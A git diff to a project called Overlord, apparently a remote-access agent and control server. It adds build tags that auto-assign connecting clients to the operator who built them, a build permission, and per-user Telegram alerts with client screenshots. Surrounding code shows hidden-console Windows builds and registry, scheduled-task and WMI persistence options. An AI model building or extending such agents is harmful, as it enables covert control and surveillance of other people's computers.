diff --git a/.vscode/settings.json b/.vscode/settings.json index bbd4fc9..a84d5b0 100644 --- a/.vscode/settings.json +++ b/.vscode/settings.json @@ -1,5 +1,7 @@ { "testing.exclude": { - "**/Overlord-Server/dist/**": true + "**/Overlord-Server/dist/**": true, + "**/dist/Overlord-Client/**": true, + "**/dist-clients/**": true } } diff --git a/Overlord-Client/cmd/agent/config/config.go b/Overlord-Client/cmd/agent/config/config.go index 654ae7b..f04e583 100644 --- a/Overlord-Client/cmd/agent/config/config.go +++ b/Overlord-Client/cmd/agent/config/config.go @@ -26,6 +26,7 @@ var DefaultMutex = "" var DefaultID = "" var DefaultCountry = "" var DefaultAgentToken = "" +var DefaultBuildTag = "" const settingsFile = "config/settings.json" const serverIndexFile = "config/server_index.json" @@ -60,6 +61,7 @@ type Config struct { TLSClientCert string TLSClientKey string AgentToken string + BuildTag string } func Load() Config { @@ -159,6 +161,7 @@ func Load() Config { TLSClientCert: tlsClientCert, TLSClientKey: tlsClientKey, AgentToken: agentToken, + BuildTag: strings.TrimSpace(DefaultBuildTag), } } diff --git a/Overlord-Client/cmd/agent/session.go b/Overlord-Client/cmd/agent/session.go index 6aa01d0..8d1e866 100644 --- a/Overlord-Client/cmd/agent/session.go +++ b/Overlord-Client/cmd/agent/session.go @@ -388,6 +388,7 @@ func runSession(ctx context.Context, cancel context.CancelFunc, conn *websocket. Monitors: capture.MonitorCount(), MonitorInfo: toWireMonitorInfo(capture.MonitorInfos()), Country: cfg.Country, + BuildTag: cfg.BuildTag, } if err := wire.WriteMsg(ctx, env.Conn, hello); err != nil { diff --git a/Overlord-Client/cmd/agent/wire/protocol.go b/Overlord-Client/cmd/agent/wire/protocol.go index b272994..8b284a1 100644 --- a/Overlord-Client/cmd/agent/wire/protocol.go +++ b/Overlord-Client/cmd/agent/wire/protocol.go @@ -12,6 +12,7 @@ type Hello struct { Monitors int `msgpack:"monitors"` MonitorInfo []MonitorInfo `msgpack:"monitorInfo,omitempty"` Country string `msgpack:"country,omitempty"` + BuildTag string `msgpack:"buildTag,omitempty"` } type MonitorInfo struct { diff --git a/Overlord-Client/cmd/agent/wire/protocol_test.go b/Overlord-Client/cmd/agent/wire/protocol_test.go index 46bcad2..302f6e1 100644 --- a/Overlord-Client/cmd/agent/wire/protocol_test.go +++ b/Overlord-Client/cmd/agent/wire/protocol_test.go @@ -57,6 +57,113 @@ func TestHelloMarshaling(t *testing.T) { } } +func TestHelloBuildTagMarshaling(t *testing.T) { + t.Run("with build tag", func(t *testing.T) { + hello := Hello{ + Type: "hello", + ID: "test-id", + HWID: "test-hwid", + Host: "test-host", + OS: "test-os", + Arch: "test-arch", + Version: "1.0.0", + User: "test-user", + BuildTag: "abc-123-def-456", + } + + data, err := msgpack.Marshal(hello) + if err != nil { + t.Fatalf("Failed to marshal Hello with BuildTag: %v", err) + } + + var decoded Hello + if err := msgpack.Unmarshal(data, &decoded); err != nil { + t.Fatalf("Failed to unmarshal Hello with BuildTag: %v", err) + } + + if decoded.BuildTag != "abc-123-def-456" { + t.Errorf("BuildTag mismatch: got %q, want %q", decoded.BuildTag, "abc-123-def-456") + } + if decoded.ID != hello.ID { + t.Errorf("ID mismatch: got %s, want %s", decoded.ID, hello.ID) + } + }) + + t.Run("without build tag (omitempty)", func(t *testing.T) { + hello := Hello{ + Type: "hello", + ID: "test-id", + HWID: "test-hwid", + Host: "test-host", + OS: "test-os", + Arch: "test-arch", + Version: "1.0.0", + User: "test-user", + } + + data, err := msgpack.Marshal(hello) + if err != nil { + t.Fatalf("Failed to marshal Hello without BuildTag: %v", err) + } + + // Verify buildTag key is not present in the wire data (omitempty) + if bytes.Contains(data, []byte("buildTag")) { + t.Error("Expected buildTag to be omitted from wire data when empty") + } + + var decoded Hello + if err := msgpack.Unmarshal(data, &decoded); err != nil { + t.Fatalf("Failed to unmarshal Hello without BuildTag: %v", err) + } + + if decoded.BuildTag != "" { + t.Errorf("BuildTag should be empty, got %q", decoded.BuildTag) + } + }) + + t.Run("server-side decode without build tag field", func(t *testing.T) { + // Simulate an older client that doesn't send buildTag at all + type OldHello struct { + Type string `msgpack:"type"` + ID string `msgpack:"id"` + HWID string `msgpack:"hwid"` + Host string `msgpack:"host"` + OS string `msgpack:"os"` + Arch string `msgpack:"arch"` + Version string `msgpack:"version"` + User string `msgpack:"user"` + } + + old := OldHello{ + Type: "hello", + ID: "old-client", + HWID: "old-hwid", + Host: "old-host", + OS: "windows", + Arch: "amd64", + Version: "0.9.0", + User: "old-user", + } + + data, err := msgpack.Marshal(old) + if err != nil { + t.Fatalf("Failed to marshal OldHello: %v", err) + } + + var decoded Hello + if err := msgpack.Unmarshal(data, &decoded); err != nil { + t.Fatalf("Failed to unmarshal OldHello into Hello: %v", err) + } + + if decoded.BuildTag != "" { + t.Errorf("BuildTag should default to empty for old client, got %q", decoded.BuildTag) + } + if decoded.ID != "old-client" { + t.Errorf("ID mismatch: got %s, want old-client", decoded.ID) + } + }) +} + func TestPingPongMarshaling(t *testing.T) { ping := Ping{ Type: "ping", diff --git a/Overlord-Server/public/assets/build.js b/Overlord-Server/public/assets/build.js index 372cf41..3cbca6b 100644 --- a/Overlord-Server/public/assets/build.js +++ b/Overlord-Server/public/assets/build.js @@ -141,7 +141,7 @@ async function init() { document.getElementById("deploy-link")?.classList.remove("hidden"); } - if (data.role === "admin" || data.role === "operator") { + if (data.role === "admin" || data.role === "operator" || data.canBuild) { buildLink?.classList.remove("hidden"); } @@ -149,10 +149,10 @@ async function init() { scriptsLink?.classList.remove("hidden"); } - if (data.role !== "admin" && data.role !== "operator") { + if (data.role !== "admin" && data.role !== "operator" && !data.canBuild) { buildBtn.disabled = true; buildBtn.innerHTML = - ' Build requires admin/operator role'; + ' Build requires permission'; } await loadServerVersion(); @@ -539,13 +539,14 @@ async function deleteBuild(buildId) { } try { - const res = await fetch(`/api/build/${buildId}/delete`, { + const res = await fetch(`/api/build/${encodeURIComponent(buildId)}/delete`, { method: "DELETE", credentials: "include", }); if (!res.ok) { - throw new Error("Failed to delete build"); + const data = await res.json().catch(() => ({})); + throw new Error(data.error || "Failed to delete build"); } const buildElement = document.getElementById(`build-${buildId}`); diff --git a/Overlord-Server/public/assets/main.js b/Overlord-Server/public/assets/main.js index fc7c44a..3d43a25 100644 --- a/Overlord-Server/public/assets/main.js +++ b/Overlord-Server/public/assets/main.js @@ -186,7 +186,7 @@ async function loadCurrentUser() { usersLink?.classList.remove("hidden"); } - if (currentUser.role === "admin" || currentUser.role === "operator") { + if (currentUser.role === "admin" || currentUser.role === "operator" || currentUser.canBuild) { buildLink?.classList.remove("hidden"); } diff --git a/Overlord-Server/public/assets/metrics.js b/Overlord-Server/public/assets/metrics.js index 2ca5c81..d66a028 100644 --- a/Overlord-Server/public/assets/metrics.js +++ b/Overlord-Server/public/assets/metrics.js @@ -550,7 +550,7 @@ async function checkAuth() { document.getElementById("build-link")?.classList.remove("hidden"); document.getElementById("plugins-link")?.classList.remove("hidden"); document.getElementById("deploy-link")?.classList.remove("hidden"); - } else if (data.role === "operator") { + } else if (data.role === "operator" || data.canBuild) { document.getElementById("build-link")?.classList.remove("hidden"); } diff --git a/Overlord-Server/public/assets/nav/role-ui.js b/Overlord-Server/public/assets/nav/role-ui.js index 1195146..1d126ee 100644 --- a/Overlord-Server/public/assets/nav/role-ui.js +++ b/Overlord-Server/public/assets/nav/role-ui.js @@ -7,6 +7,7 @@ export function applyUserRoleUI(user, refs) { pluginsLink, scriptsLink, logsLink, + notificationsLink, } = refs; if (!user || !usernameDisplay || !roleBadge) return; @@ -68,6 +69,7 @@ export function applyUserRoleUI(user, refs) { } if (user.role === "admin" || user.role === "operator") { buildLink?.classList.remove("hidden"); + notificationsLink?.classList.remove("hidden"); } if (user.role !== "viewer") { scriptsLink?.classList.remove("hidden"); diff --git a/Overlord-Server/public/assets/nav/template.js b/Overlord-Server/public/assets/nav/template.js index e476c52..06f5443 100644 --- a/Overlord-Server/public/assets/nav/template.js +++ b/Overlord-Server/public/assets/nav/template.js @@ -62,7 +62,7 @@ export function mountNav(host) { Notifications ({})); + if (!res.ok) { + showMessage(data.error || "Failed to save Telegram settings.", "error"); + return; + } + + myTelegramChatIdInput.value = data.telegramChatId || ""; + showMessage(chatId ? "Telegram chat ID saved." : "Telegram notifications disabled."); + } catch { + showMessage("Failed to save Telegram settings.", "error"); + } +} + async function loadBannedIps() { if (!currentUser) return; @@ -537,12 +580,14 @@ async function init() { try { await loadCurrentUser(); loadPrefs(); + await loadMyTelegram(); await loadSecurityPolicy(); await loadTlsSettings(); await loadBannedIps(); passwordForm.addEventListener("submit", updatePassword); prefsForm.addEventListener("submit", savePrefs); + if (saveMyTelegramBtn) saveMyTelegramBtn.addEventListener("click", saveMyTelegram); securityForm.addEventListener("submit", saveSecurityPolicy); tlsForm.addEventListener("submit", saveTlsSettings); tlsCertbotAutoBtn.addEventListener("click", runCertbotAutoSetup); diff --git a/Overlord-Server/public/assets/users.js b/Overlord-Server/public/assets/users.js index abce87c..9253503 100644 --- a/Overlord-Server/public/assets/users.js +++ b/Overlord-Server/public/assets/users.js @@ -68,6 +68,10 @@ async function getCurrentUser() { document.getElementById("build-link")?.classList.remove("hidden"); } + if (currentUser.canBuild) { + document.getElementById("build-link")?.classList.remove("hidden"); + } + if (currentUser.role !== "admin") { alert("Access denied. Admin role required."); window.location.href = "/"; @@ -149,6 +153,13 @@ function renderUsers() { ${getRoleBadge(user.role)} + ${user.role !== "admin" ? ` + + ${user.can_build ? 'Build' : 'No Build'} + + ` : ''} ${formatDate(user.created_at)} @@ -234,6 +245,15 @@ function attachActionListeners() { } const listener = (e) => { + const toggleBuild = e.target.closest("[data-action='toggle-build']"); + if (toggleBuild) { + const userId = parseInt(toggleBuild.dataset.userId); + const username = toggleBuild.dataset.username; + const canBuild = toggleBuild.dataset.canBuild === "1"; + toggleBuildPermission(userId, username, canBuild); + return; + } + const btn = e.target.closest(".user-action-btn"); if (!btn) return; @@ -429,5 +449,29 @@ window.configureClientAccess = async function (userId, username, role) { window.location.href = `/user-client-access?${params.toString()}`; }; +window.toggleBuildPermission = async function (userId, username, currentCanBuild) { + const newVal = !currentCanBuild; + if (!confirm(`${newVal ? 'Grant' : 'Revoke'} build permission for ${username}?`)) return; + + try { + const res = await fetch(`/api/users/${userId}/can-build`, { + method: "PUT", + headers: { "Content-Type": "application/json" }, + body: JSON.stringify({ canBuild: newVal }), + }); + + const data = await res.json(); + + if (res.ok) { + await loadUsers(); + } else { + alert(data.error || "Failed to update build permission"); + } + } catch (err) { + console.error("Toggle build permission error:", err); + alert("Network error. Please try again."); + } +}; + getCurrentUser(); loadUsers(); diff --git a/Overlord-Server/public/settings.html b/Overlord-Server/public/settings.html index 2ec6c49..4b7f888 100644 --- a/Overlord-Server/public/settings.html +++ b/Overlord-Server/public/settings.html @@ -104,6 +104,36 @@ +
+
+

Notification Settings

+

+ Receive Telegram notifications for clients you have access to. +

+
+ +

+ Send /start to the Telegram bot, then use /id or + @userinfobot + to find your chat ID. +

+ +
+

Security Policy

diff --git a/Overlord-Server/src/build-tag.test.ts b/Overlord-Server/src/build-tag.test.ts new file mode 100644 index 0000000..c0ebb9e --- /dev/null +++ b/Overlord-Server/src/build-tag.test.ts @@ -0,0 +1,242 @@ +import { afterAll, describe, expect, test } from "bun:test"; +import { + saveBuild, + getBuild, + getBuildByTag, + getAllBuilds, + deleteBuild, + type BuildRecord, +} from "./db"; +import { + canUserAccessClient, + createUser, + deleteUser, + getUserByUsername, + getUserClientAccessScope, + listUserClientAccessRules, + setUserClientAccessScope, +} from "./users"; + +const createdUserIds: number[] = []; +const createdBuildIds: string[] = []; + +async function createTempUser(role: "viewer" | "operator" | "admin") { + const username = `bt_${role.slice(0, 3)}_${Date.now().toString(36)}${Math.floor(Math.random() * 1000).toString(36)}`; + const result = await createUser(username, "Aa1!VeryLongTestPassword_2026", role, "test"); + expect(result.success).toBe(true); + const user = getUserByUsername(username); + expect(user).not.toBeNull(); + createdUserIds.push(user!.id); + return user!; +} + +function cleanupCreatedUsers() { + while (createdUserIds.length > 0) { + const id = createdUserIds.pop(); + if (typeof id === "number") { + deleteUser(id); + } + } +} + +function cleanupCreatedBuilds() { + while (createdBuildIds.length > 0) { + const id = createdBuildIds.pop(); + if (typeof id === "string") { + deleteBuild(id); + } + } +} + +function saveTempBuild(overrides: Partial = {}): BuildRecord { + const build: BuildRecord = { + id: `test-build-${Date.now().toString(36)}${Math.floor(Math.random() * 10000).toString(36)}`, + status: "completed", + startTime: Date.now(), + expiresAt: Date.now() + 7 * 24 * 60 * 60 * 1000, + files: [{ name: "agent", filename: "agent.exe", platform: "windows/amd64", size: 1024 }], + ...overrides, + }; + saveBuild(build); + createdBuildIds.push(build.id); + return build; +} + +afterAll(() => { + cleanupCreatedBuilds(); + cleanupCreatedUsers(); +}); + +describe("build tag DB operations", () => { + test("saveBuild stores buildTag and builtByUserId", async () => { + try { + const operator = await createTempUser("operator"); + const build = saveTempBuild({ + buildTag: "test-tag-abc123", + builtByUserId: operator.id, + }); + + const retrieved = getBuild(build.id); + expect(retrieved).not.toBeNull(); + expect(retrieved!.buildTag).toBe("test-tag-abc123"); + expect(retrieved!.builtByUserId).toBe(operator.id); + } finally { + cleanupCreatedBuilds(); + cleanupCreatedUsers(); + } + }); + + test("getBuildByTag finds build by its tag", async () => { + try { + const operator = await createTempUser("operator"); + const tag = `tag-${Date.now().toString(36)}`; + saveTempBuild({ + buildTag: tag, + builtByUserId: operator.id, + }); + + const found = getBuildByTag(tag); + expect(found).not.toBeNull(); + expect(found!.buildTag).toBe(tag); + expect(found!.builtByUserId).toBe(operator.id); + } finally { + cleanupCreatedBuilds(); + cleanupCreatedUsers(); + } + }); + + test("getBuildByTag returns null for unknown tag", () => { + const found = getBuildByTag("nonexistent-tag-xyz"); + expect(found).toBeNull(); + }); + + test("getAllBuilds includes buildTag and builtByUserId", async () => { + try { + const operator = await createTempUser("operator"); + const tag = `alltag-${Date.now().toString(36)}`; + const build = saveTempBuild({ + buildTag: tag, + builtByUserId: operator.id, + }); + + const all = getAllBuilds(); + const found = all.find((b) => b.id === build.id); + expect(found).not.toBeNull(); + expect(found!.buildTag).toBe(tag); + expect(found!.builtByUserId).toBe(operator.id); + } finally { + cleanupCreatedBuilds(); + cleanupCreatedUsers(); + } + }); + + test("build without tag has undefined buildTag", () => { + const build = saveTempBuild(); + const retrieved = getBuild(build.id); + expect(retrieved).not.toBeNull(); + expect(retrieved!.buildTag).toBeUndefined(); + expect(retrieved!.builtByUserId).toBeUndefined(); + cleanupCreatedBuilds(); + }); +}); + +describe("build tag auto-allowlist logic", () => { + test("operator with scope 'none' gets upgraded to 'allowlist' when build connects", async () => { + try { + const operator = await createTempUser("operator"); + expect(getUserClientAccessScope(operator.id)).toBe("none"); + + const tag = `auto-${Date.now().toString(36)}`; + saveTempBuild({ + buildTag: tag, + builtByUserId: operator.id, + }); + + const build = getBuildByTag(tag); + expect(build).not.toBeNull(); + expect(build!.builtByUserId).toBe(operator.id); + + // Simulate what handleBuildTagConnection does: + // 1. Look up the build by tag + // 2. If scope is "none", upgrade to "allowlist" + // 3. Add client to allowlist + const clientId = `test-client-${Date.now().toString(36)}`; + const currentScope = getUserClientAccessScope(operator.id); + if (currentScope === "none") { + setUserClientAccessScope(operator.id, "allowlist"); + } + const { setUserClientAccessRule } = await import("./users"); + setUserClientAccessRule(operator.id, clientId, "allow"); + + expect(getUserClientAccessScope(operator.id)).toBe("allowlist"); + expect(canUserAccessClient(operator.id, operator.role, clientId)).toBe(true); + // Other clients should NOT be accessible + expect(canUserAccessClient(operator.id, operator.role, "other-client")).toBe(false); + } finally { + cleanupCreatedBuilds(); + cleanupCreatedUsers(); + } + }); + + test("operator with existing allowlist gets new client added without scope change", async () => { + try { + const operator = await createTempUser("operator"); + setUserClientAccessScope(operator.id, "allowlist"); + + const { setUserClientAccessRule } = await import("./users"); + setUserClientAccessRule(operator.id, "existing-client", "allow"); + + // Now simulate build tag connection adding a new client + const newClientId = `new-client-${Date.now().toString(36)}`; + const currentScope = getUserClientAccessScope(operator.id); + expect(currentScope).toBe("allowlist"); + + setUserClientAccessRule(operator.id, newClientId, "allow"); + + expect(canUserAccessClient(operator.id, operator.role, "existing-client")).toBe(true); + expect(canUserAccessClient(operator.id, operator.role, newClientId)).toBe(true); + } finally { + cleanupCreatedBuilds(); + cleanupCreatedUsers(); + } + }); + + test("viewer with denylist scope is unmodified on build tag connection", async () => { + try { + const viewer = await createTempUser("viewer"); + setUserClientAccessScope(viewer.id, "denylist"); + + const { setUserClientAccessRule } = await import("./users"); + setUserClientAccessRule(viewer.id, "blocked-client", "deny"); + + const clientId = `new-auto-${Date.now().toString(36)}`; + const currentScope = getUserClientAccessScope(viewer.id); + // With denylist, handleBuildTagConnection does nothing (client allowed by default) + expect(currentScope).toBe("denylist"); + expect(canUserAccessClient(viewer.id, viewer.role, clientId)).toBe(true); + expect(canUserAccessClient(viewer.id, viewer.role, "blocked-client")).toBe(false); + } finally { + cleanupCreatedBuilds(); + cleanupCreatedUsers(); + } + }); + + test("admin does not get rules added (already has full access)", async () => { + try { + const admin = await createTempUser("admin"); + const tag = `admin-tag-${Date.now().toString(36)}`; + saveTempBuild({ + buildTag: tag, + builtByUserId: admin.id, + }); + + // handleBuildTagConnection returns early for admin + expect(getUserClientAccessScope(admin.id)).toBe("all"); + const rules = listUserClientAccessRules(admin.id); + expect(rules.length).toBe(0); + } finally { + cleanupCreatedBuilds(); + cleanupCreatedUsers(); + } + }); +}); diff --git a/Overlord-Server/src/db.ts b/Overlord-Server/src/db.ts index e84b324..78faa3f 100644 --- a/Overlord-Server/src/db.ts +++ b/Overlord-Server/src/db.ts @@ -67,10 +67,16 @@ db.run(` status TEXT NOT NULL, start_time INTEGER NOT NULL, expires_at INTEGER NOT NULL, - files TEXT NOT NULL + files TEXT NOT NULL, + build_tag TEXT, + built_by_user_id INTEGER ); `); +try { db.run(`ALTER TABLE builds ADD COLUMN build_tag TEXT`); } catch {} +try { db.run(`ALTER TABLE builds ADD COLUMN built_by_user_id INTEGER`); } catch {} +db.run(`CREATE INDEX IF NOT EXISTS idx_builds_build_tag ON builds(build_tag);`); + db.run(` CREATE TABLE IF NOT EXISTS notification_screenshots ( id TEXT PRIMARY KEY, @@ -566,17 +572,21 @@ export interface BuildRecord { version?: string; size: number; }>; + buildTag?: string; + builtByUserId?: number; } export function saveBuild(build: BuildRecord) { db.run( - `INSERT OR REPLACE INTO builds (id, status, start_time, expires_at, files) - VALUES (?, ?, ?, ?, ?)`, + `INSERT OR REPLACE INTO builds (id, status, start_time, expires_at, files, build_tag, built_by_user_id) + VALUES (?, ?, ?, ?, ?, ?, ?)`, build.id, build.status, build.startTime, build.expiresAt, JSON.stringify(build.files), + build.buildTag || null, + build.builtByUserId || null, ); } @@ -590,6 +600,23 @@ export function getBuild(id: string): BuildRecord | null { startTime: row.start_time, expiresAt: row.expires_at, files: JSON.parse(row.files), + buildTag: row.build_tag || undefined, + builtByUserId: row.built_by_user_id || undefined, + }; +} + +export function getBuildByTag(buildTag: string): BuildRecord | null { + const row = db.query(`SELECT * FROM builds WHERE build_tag = ?`).get(buildTag); + if (!row) return null; + + return { + id: row.id, + status: row.status, + startTime: row.start_time, + expiresAt: row.expires_at, + files: JSON.parse(row.files), + buildTag: row.build_tag || undefined, + builtByUserId: row.built_by_user_id || undefined, }; } @@ -603,6 +630,8 @@ export function getAllBuilds(): BuildRecord[] { startTime: row.start_time, expiresAt: row.expires_at, files: JSON.parse(row.files), + buildTag: row.build_tag || undefined, + builtByUserId: row.built_by_user_id || undefined, })); } diff --git a/Overlord-Server/src/main-server.ts b/Overlord-Server/src/main-server.ts index 16b914b..6888173 100644 --- a/Overlord-Server/src/main-server.ts +++ b/Overlord-Server/src/main-server.ts @@ -3,7 +3,7 @@ import { decodeMessage, encodeMessage, type WireMessage, type PluginManifest } f import { logger } from "./logger"; import { fileURLToPath } from "url"; import path from "path"; -import { upsertClientRow, setOnlineState, listClients, markAllClientsOffline, getBuild, getAllBuilds, deleteExpiredBuilds, deleteBuild, getNotificationScreenshot, clearNotificationScreenshots, deleteClientRow, getClientIp, banIp, isIpBanned, clientExists } from "./db"; +import { upsertClientRow, setOnlineState, listClients, markAllClientsOffline, getBuild, getBuildByTag, getAllBuilds, deleteExpiredBuilds, deleteBuild, getNotificationScreenshot, clearNotificationScreenshots, deleteClientRow, getClientIp, banIp, isIpBanned, clientExists } from "./db"; import { handleFrame, handleHello, handlePing, handlePong } from "./wsHandlers"; import { getMessageByteLength, getMaxPayloadLimit, isAllowedClientMessageType } from "./wsValidation"; import { ClientInfo, ClientRole } from "./types"; @@ -11,7 +11,7 @@ import { v4 as uuidv4 } from "uuid"; import { authenticateRequest } from "./auth"; import { loadConfig, getConfig } from "./config"; import { flushAuditLogsSync } from "./auditLog"; -import { getUserById } from "./users"; +import { getUserById, getUsersWithTelegramChatId, canUserAccessClient, setUserClientAccessRule, setUserClientAccessScope, getUserClientAccessScope } from "./users"; import { requireAuth, requirePermission } from "./rbac"; import { metrics } from "./metrics"; import { ensureDataDir } from "./paths"; @@ -46,6 +46,7 @@ import { takePendingNotificationScreenshot, type NotificationRecord, type PendingNotificationScreenshot, + type PerUserTelegramRecipient, } from "./server/notification-delivery"; import { ensurePluginExtracted as ensurePluginExtractedFromRoot, @@ -226,8 +227,17 @@ const storeNotificationScreenshotForPending = ( width?: number, height?: number, ) => storeNotificationScreenshot(notificationHistory, pending, bytes, format, width, height); -const deliverNotificationWithScreenshotForRecord = (record: NotificationRecord) => - deliverNotificationWithScreenshot(record, getNotificationConfig); +const deliverNotificationWithScreenshotForRecord = (record: NotificationRecord) => { + const getPerUserRecipients = (clientId: string): PerUserTelegramRecipient[] => { + const usersWithTelegram = getUsersWithTelegramChatId(); + return usersWithTelegram.map((u) => ({ + userId: u.id, + chatId: u.telegram_chat_id, + canAccessClient: canUserAccessClient(u.id, u.role, clientId), + })); + }; + return deliverNotificationWithScreenshot(record, getNotificationConfig, getPerUserRecipients); +}; const notificationPluginHandlers = createNotificationPluginHandlers({ notificationHistory, @@ -356,6 +366,28 @@ async function startServer() { }, }; + function handleBuildTagConnection(clientId: string, buildTagValue: string) { + if (!buildTagValue) return; + const build = getBuildByTag(buildTagValue); + if (!build || !build.builtByUserId) return; + + const userId = build.builtByUserId; + const user = getUserById(userId); + if (!user) return; + + if (user.role === "admin") return; + + const currentScope = getUserClientAccessScope(userId); + if (currentScope === "none") { + setUserClientAccessScope(userId, "allowlist"); + } + + if (currentScope === "none" || currentScope === "allowlist") { + setUserClientAccessRule(userId, clientId, "allow"); + logger.info(`[build-tag] Auto-added client ${clientId} to user ${user.username}'s allowlist (build: ${build.id.substring(0, 8)})`); + } + } + const lifecycleDeps = { maxClientPayloadBytes: MAX_WS_MESSAGE_BYTES_CLIENT, maxViewerPayloadBytes: MAX_WS_MESSAGE_BYTES_VIEWER, @@ -412,6 +444,7 @@ async function startServer() { notifyConsoleClosed, clearPendingNotificationScreenshots: notificationPluginHandlers.clearPendingNotificationScreenshots, notifyRemoteDesktopStatus, + handleBuildTagConnection, }; const server = Bun.serve({ diff --git a/Overlord-Server/src/rbac.ts b/Overlord-Server/src/rbac.ts index f62f8d8..848bbc4 100644 --- a/Overlord-Server/src/rbac.ts +++ b/Overlord-Server/src/rbac.ts @@ -5,6 +5,7 @@ export type Permission = | "users:manage" | "clients:control" | "clients:view" + | "clients:build" | "audit:view"; export function checkPermission( @@ -12,7 +13,7 @@ export function checkPermission( permission: Permission, ): boolean { if (!user) return false; - return hasPermission(user.role, permission); + return hasPermission(user.role, permission, user.userId); } export function checkAnyPermission( @@ -20,7 +21,7 @@ export function checkAnyPermission( permissions: Permission[], ): boolean { if (!user) return false; - return permissions.some((p) => hasPermission(user.role, p)); + return permissions.some((p) => hasPermission(user.role, p, user.userId)); } export function checkAllPermissions( @@ -28,7 +29,7 @@ export function checkAllPermissions( permissions: Permission[], ): boolean { if (!user) return false; - return permissions.every((p) => hasPermission(user.role, p)); + return permissions.every((p) => hasPermission(user.role, p, user.userId)); } export function requireAuth(user: AuthenticatedUser | null): AuthenticatedUser { @@ -72,6 +73,8 @@ export function getPermissionDescription(permission: Permission): string { return "Control clients (execute commands, desktop, console, files)"; case "clients:view": return "View connected clients"; + case "clients:build": + return "Build client binaries"; case "audit:view": return "View audit logs"; default: @@ -99,6 +102,7 @@ export function getRolePermissions(role: UserRole): Permission[] { if (hasPermission(role, "clients:control")) permissions.push("clients:control"); if (hasPermission(role, "clients:view")) permissions.push("clients:view"); + if (hasPermission(role, "clients:build")) permissions.push("clients:build"); if (hasPermission(role, "audit:view")) permissions.push("audit:view"); return permissions; diff --git a/Overlord-Server/src/server/build-process.ts b/Overlord-Server/src/server/build-process.ts index 339c509..dcfcc91 100644 --- a/Overlord-Server/src/server/build-process.ts +++ b/Overlord-Server/src/server/build-process.ts @@ -1,6 +1,7 @@ import { $ } from "bun"; import path from "path"; import fs from "fs"; +import { v4 as uuidv4 } from "uuid"; import { saveBuild } from "../db"; import { logger } from "../logger"; import { getConfig } from "../config"; @@ -64,6 +65,7 @@ type BuildProcessConfig = { persistenceMethod?: string; hideConsole?: boolean; noPrinting?: boolean; + builtByUserId?: number; }; const VALID_PERSISTENCE_METHODS = new Set(['startup', 'registry', 'taskscheduler', 'wmi']); @@ -221,6 +223,9 @@ export async function startBuildProcess( sendToStream({ type: "output", text: "Mutex: disabled\n", level: "info" }); } + const buildTag = uuidv4(); + sendToStream({ type: "output", text: `Build tag: ${buildTag}\n`, level: "info" }); + for (const platform of platformsToBuild) { const [os, arch, ...rest] = platform.split("-"); const goarm = arch === "armv7" ? "7" : undefined; @@ -325,6 +330,11 @@ export async function startBuildProcess( ldflags = ldflags ? `${ldflags} ${agentTokenFlag}` : agentTokenFlag; } + if (buildTag) { + const buildTagFlag = `-X overlord-client/cmd/agent/config.DefaultBuildTag=${buildTag}`; + ldflags = ldflags ? `${ldflags} ${buildTagFlag}` : buildTagFlag; + } + if (config.hideConsole && os === "windows") { const hideConsoleFlag = "-H=windowsgui"; ldflags = ldflags ? `${ldflags} ${hideConsoleFlag}` : hideConsoleFlag; @@ -414,6 +424,8 @@ export async function startBuildProcess( startTime: build.startTime, expiresAt: build.expiresAt, files: build.files as any, + buildTag, + builtByUserId: config.builtByUserId, }); setTimeout(() => { diff --git a/Overlord-Server/src/server/notification-delivery.ts b/Overlord-Server/src/server/notification-delivery.ts index c14a5cd..58a4a72 100644 --- a/Overlord-Server/src/server/notification-delivery.ts +++ b/Overlord-Server/src/server/notification-delivery.ts @@ -177,6 +177,15 @@ async function postTelegramNotification( const chatId = (config.telegramChatId || "").trim(); if (!token || !chatId) return; + await sendTelegramToChat(token, chatId, record, screenshot); +} + +async function sendTelegramToChat( + token: string, + chatId: string, + record: NotificationRecord, + screenshot?: NotificationScreenshotRecord | null, +): Promise { const text = `🔔 Notification\nTitle: ${record.title}\nKeyword: ${record.keyword || "-"}\nClient: ${record.clientId}\nUser: ${record.user || "unknown"}\nHost: ${record.host || "unknown"}\nProcess: ${record.process || "unknown"}`; try { if (screenshot?.bytes?.length) { @@ -198,17 +207,51 @@ async function postTelegramNotification( body: JSON.stringify({ chat_id: chatId, text }), }); } catch (err) { - logger.warn("[notify] telegram delivery failed", err); + logger.warn(`[notify] telegram delivery to chat ${chatId} failed`, err); } } +export type PerUserTelegramRecipient = { + userId: number; + chatId: string; + canAccessClient: boolean; +}; + +async function postPerUserTelegramNotifications( + record: NotificationRecord, + getNotificationConfig: () => any, + getPerUserRecipients: (clientId: string) => PerUserTelegramRecipient[], + screenshot?: NotificationScreenshotRecord | null, +): Promise { + const config = getNotificationConfig(); + if (!config.telegramEnabled) return; + const token = (config.telegramBotToken || "").trim(); + if (!token) return; + + const recipients = getPerUserRecipients(record.clientId); + const promises = recipients + .filter((r) => r.canAccessClient && r.chatId) + .map((r) => sendTelegramToChat(token, r.chatId, record, screenshot)); + + await Promise.allSettled(promises); +} + export async function deliverNotificationWithScreenshot( record: NotificationRecord, getNotificationConfig: () => any, + getPerUserRecipients?: (clientId: string) => PerUserTelegramRecipient[], ): Promise { const screenshot = await waitForNotificationScreenshot(record.id); - await Promise.allSettled([ + const deliveries: Promise[] = [ postNotificationWebhook(record, getNotificationConfig, screenshot), postTelegramNotification(record, getNotificationConfig, screenshot), - ]); + ]; + + if (getPerUserRecipients) { + deliveries.push( + postPerUserTelegramNotifications(record, getNotificationConfig, getPerUserRecipients, screenshot), + ); + } + + await Promise.allSettled(deliveries); } diff --git a/Overlord-Server/src/server/routes/auth-routes.ts b/Overlord-Server/src/server/routes/auth-routes.ts index 7078aba..866249a 100644 --- a/Overlord-Server/src/server/routes/auth-routes.ts +++ b/Overlord-Server/src/server/routes/auth-routes.ts @@ -170,6 +170,8 @@ export async function handleAuthRoutes( role: user.role, userId: user.userId, mustChangePassword: dbUser ? Boolean(dbUser.must_change_password) : false, + canBuild: dbUser ? Boolean(dbUser.can_build) : false, + telegramChatId: dbUser?.telegram_chat_id || "", }), { headers: { "Content-Type": "application/json" }, diff --git a/Overlord-Server/src/server/routes/build-routes.ts b/Overlord-Server/src/server/routes/build-routes.ts index 894f3d0..e68fedf 100644 --- a/Overlord-Server/src/server/routes/build-routes.ts +++ b/Overlord-Server/src/server/routes/build-routes.ts @@ -6,6 +6,7 @@ import { deleteBuild, getAllBuilds, getBuild } from "../../db"; import { requirePermission } from "../../rbac"; import { logger } from "../../logger"; import path from "path"; +import fs from "fs"; import { resolveRuntimeRoot } from "../runtime-paths"; type RequestIpProvider = { @@ -35,7 +36,7 @@ export async function handleBuildRoutes( } if 